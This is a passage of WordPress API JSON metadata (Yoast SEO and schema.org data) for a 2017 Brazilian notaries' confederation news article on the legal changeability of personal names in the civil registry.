Registradores\",\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/cnr.org.br\\\/novoportal\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"pt-BR\"},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/cnr.org.br\\\/novoportal\\\/#\\\/schema\\\/person\\\/1f46209cd8c9d3d9887a0765b64ca66b\",\"name\":\"Imprensa CNR\",\"sameAs\":[\"https:\\\/\\\/cnr.org.br\\\/site\"],\"url\":\"https:\\\/\\\/cnr.org.br\\\/novoportal\\\/author\\\/imprensa\\\/\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"Din\u00e2mico, sistema registral permite mutabilidade do nome - CNR","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/cnr.org.br\/novoportal\/dinamico-sistema-registral-permite-mutabilidade-do-nome\/","og_locale":"pt_BR","og_type":"article","og_title":"Din\u00e2mico, sistema registral permite mutabilidade do nome - CNR","og_description":"p style=text-align: justify;strong1) Introdu\u00e7\u00e3o\/strong\/p p style=text-align: justify;A import\u00e2ncia do nome para a identifica\u00e7\u00e3o e individualiza\u00e7\u00e3o das pessoas \u00e9, mais que uma afirma\u00e7\u00e3o jur\u00eddica, uma constata\u00e7\u00e3o hist\u00f3rica. O nome, de fato, \u00e9 o principal meio de chamamento no trato social di\u00e1rio, bem como o mais importante elemento de identifica\u00e7\u00e3o da pessoa natural para fins de imputa\u00e7\u00e3o.\/p [&hellip;]","og_url":"https:\/\/cnr.org.br\/novoportal\/dinamico-sistema-registral-permite-mutabilidade-do-nome\/","og_site_name":"CNR","article_published_time":"2017-12-19T13:50:02+00:00","og_image":[{"width":1920,"height":1279,"url":"https:\/\/cnr.org.br\/novoportal\/wp-content\/uploads\/2019\/03\/computer-1185637_1920.jpg","type":"image\/jpeg"}],"author":"Imprensa CNR","twitter_card":"summary_large_image","twitter_misc":{"Escrito por":"Imprensa CNR","Est. tempo de leitura":"15 minutos"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/cnr.org.br\/novoportal\/dinamico-sistema-registral-permite-mutabilidade-do-nome\/#article","isPartOf":{"@id":"https:\/\/cnr.org.br\/novoportal\/dinamico-sistema-registral-permite-mutabilidade-do-nome\/"},"author":{"name":"Imprensa CNR","@id":"https:\/\/cnr.org.br\/novoportal\/#\/schema\/person\/1f46209cd8c9d3d9887a0765b64ca66b"},"headline":"Din\u00e2mico, sistema registral permite mutabilidade do nome","datePublished":"2017-12-19T13:50:02+00:00","mainEntityOfPage":{"@id":"https:\/\/cnr.org.br\/novoportal\/dinamico-sistema-registral-permite-mutabilidade-do-nome\/"},"wordCount":2978,"commentCount":0,"image":{"@id":"https:\/\/cnr.org.br\/novoportal\/dinamico-sistema-registral-permite-mutabilidade-do-nome\/#primaryimage"},"thumbnailUrl":"https:\/\/cnr.org.br\/novoportal\/wp-content\/uploads\/2019\/03\/computer-1185637_1920.jpg","articleSection":["Not\u00edcia","\u00daltimas Not\u00edcias"],"inLanguage":"pt-BR"},{"@type":"WebPage","@id":"https:\/\/cnr.org.br\/novoportal\/dinamico-sistema-registral-permite-mutabilidade-do-nome\/","url":"https:\/\/cnr.org.br\/novoportal\/dinamico-sistema-registral-permite-mutabilidade-do-nome\/","name":"Din\u00e2mico, sistema registral permite mutabilidade do nome - CNR","isPartOf":{"@id":"https:\/\/cnr.org.br\/novoportal\/#website"},"primaryImageOfPage":{"@id":"https:\/\/cnr.org.br\/novoportal\/dinamico-sistema-registral-permite-mutabilidade-do-nome\/#primaryimage"},"image":{"@id":"https:\/\/cnr.org.br\/novoportal\/dinamico-sistema-registral-permite-mutabilidade-do-nome\/#primaryimage"},"thumbnailUrl":"https:\/\/cnr.org.br\/novoportal\/wp-content\/uploads\/2019\/03\/computer-1185637_1920.jpg","datePublished":"2017-12-19T13:50:02+00:00","author":{"@id":"https:\/\/cnr.org.br\/novoportal\/#\/schema\/person\/1f46209cd8c9d3d9887a0765b64ca66b"},"breadcrumb":{"@id":"https:\/\/cnr.org.br\/novoportal\/dinamico-sistema-registral-permite-mutabilidade-do-nome\/#breadcrumb"},"inLanguage":"pt-BR","potentialAction":[{"@type":"ReadAction","target":["https:\/\/cnr.org.br\/novoportal\/dinamico-sistema-registral-permite-mutabilidade-do-nome\/"]}]},{"@type":"ImageObject","inLanguage":"pt-BR","@id":"https:\/\/cnr.org.br\/novoportal\/dinamico-sistema-registral-permite-mutabilidade-do-nome\/#primaryimage","url":"https:\/\/cnr.org.br\/novoportal\/wp-content\/uploads\/2019\/03\/computer-1185637_1920.jpg","contentUrl":"https:\/\/cnr.org.br\/novoportal\/wp-content\/uploads\/2019\/03\/computer-1185637_1920.jpg","width":1920,"height":1279},{"@type":"BreadcrumbList","@id":"https:\/\/cnr.org.br\/novoportal\/dinamico-sistema-registral-permite-mutabilidade-do-nome\/#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"In\u00edcio","item":"https:\/\/cnr.org.br\/novoportal\/"},{"@type":"ListItem","position":2,"name":"Din\u00e2mico, sistema registral permite mutabilidade do nome"}]},{"@type":"WebSite","@id":"https:\/\/cnr.org.br\/novoportal\/#website","url":"https:\/\/cnr.org.br\/novoportal\/","name":"CNR","description":"Confedera\u00e7\u00e3o Nacional de Not\u00e1rios e Registradores","potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/cnr.org.br\/novoportal\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"pt-BR"},{"@type":"Person","@id":"https:\/\/cnr.org.br\/novoportal\/#\/schema\/person\/1f46209cd8c9d3d9887a0765b64ca66b","name":"Imprensa CNR","sameAs":["https:\/\/cnr.org.br\/site"],"url":"https:\/\/cnr.org.br\/novoportal\/author\/imprensa\/"}]}},"_links":{"self":[{"href":"https:\/\/cnr.org.br\/novoportal\/wp-json\/wp\/v2\/posts\/2603","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/cnr.org.br\/novoportal\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/cnr.org.br\/novoportal\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/cnr.org.br\/novoportal\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/cnr.org.br\/novoportal\/wp-json\/wp\/v2\/comments?post=2603"}],"version-history":[{"count":0,"href":"https:\/\/cnr.org.br\/novoportal\/wp-json\/wp\/v2\/posts\/2603\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/cnr.org.br\/novoportal\/wp-json\/wp\/v2\/media\/13334"}],"wp:attachment":[{"href":"https:\/\/cnr.org.br\/novoportal\/wp-json\/wp\/v2\/media?parent=2603"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/cnr.org.br\/novoportal\/wp-json\/wp\/v2\/categories?post=2603"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/cnr.org.br\/novoportal\/wp-json\/wp\/v2\/tags?post=2603"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}